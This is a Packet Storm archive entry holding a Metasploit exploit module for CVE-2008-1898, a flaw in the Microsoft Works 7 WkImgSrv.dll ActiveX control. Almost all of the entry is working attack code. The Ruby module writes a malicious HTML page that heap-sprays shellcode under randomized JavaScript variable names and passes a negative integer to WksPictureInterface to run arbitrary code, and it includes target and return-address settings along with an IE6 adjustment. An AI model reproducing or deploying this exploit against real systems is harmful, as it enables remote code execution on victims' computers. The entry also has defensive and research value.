Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Exploit

2009-11-26T00:00:00
ID PACKETSTORM:83163
Type packetstorm
Reporter dean
Modified 2009-11-26T00:00:00

Description

                                        
                                            `###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Exploit',  
'Description' => %q{  
The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a remote attacker   
to execute arbitrary code on a system. By passing a negative integer to the   
WksPictureInterface method, an attacker could execute arbitrary code on the system  
with privileges of the victim. Change 168430090 /0X0A0A0A0A to 202116108 / 0x0C0C0C0C FOR IE6.  
This control is not marked safe for scripting, please choose your attack vector carefully.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],   
'Version' => '$Revision',  
'References' =>   
[  
[ 'CVE','2008-1898' ],  
[ 'OSVDB', '44458'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP2-SP3 IE 7.0', { 'Ret' => 0x0A0A0A0A } ]   
],  
'DisclosureDate' => 'Nov 28 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),  
], self.class)  
end  
  
def exploit  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Set the return.  
ret = Rex::Text.to_unescape([target.ret].pack('L'))  
  
# Randomize the javascript variable names.  
vname = rand_text_alpha(rand(10) + 1)  
var_i = rand_text_alpha(rand(10) + 1)  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(rand(100) + 1)  
rand5 = rand_text_alpha(rand(100) + 1)  
rand6 = rand_text_alpha(rand(100) + 1)  
rand7 = rand_text_alpha(rand(100) + 1)  
  
content = %Q|  
<html>  
<object id='#{vname}' classid='clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6'></object>  
<body>  
<script language="JavaScript">  
var #{rand1} = unescape('#{shellcode}');  
var #{rand2} = unescape('#{ret}');  
var #{rand3} = 20;   
var #{rand4} = #{rand3} + #{rand1}.length;  
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};  
var #{rand5} = #{rand2}.substring(0,#{rand4});  
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});  
while (#{rand6}.length + #{rand4} < 0x10000) #{rand6} = #{rand6} + #{rand6} + #{rand5};  
var #{rand7} = new Array();  
for (#{var_i} = 0; #{var_i} < 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }  
#{vname}.WksPictureInterface = 168430090;  
</script>  
</body>  
</html>  
|  
  
print_status("Creating HTML file ...")  
  
file_create(content)  
end  
  
end  
`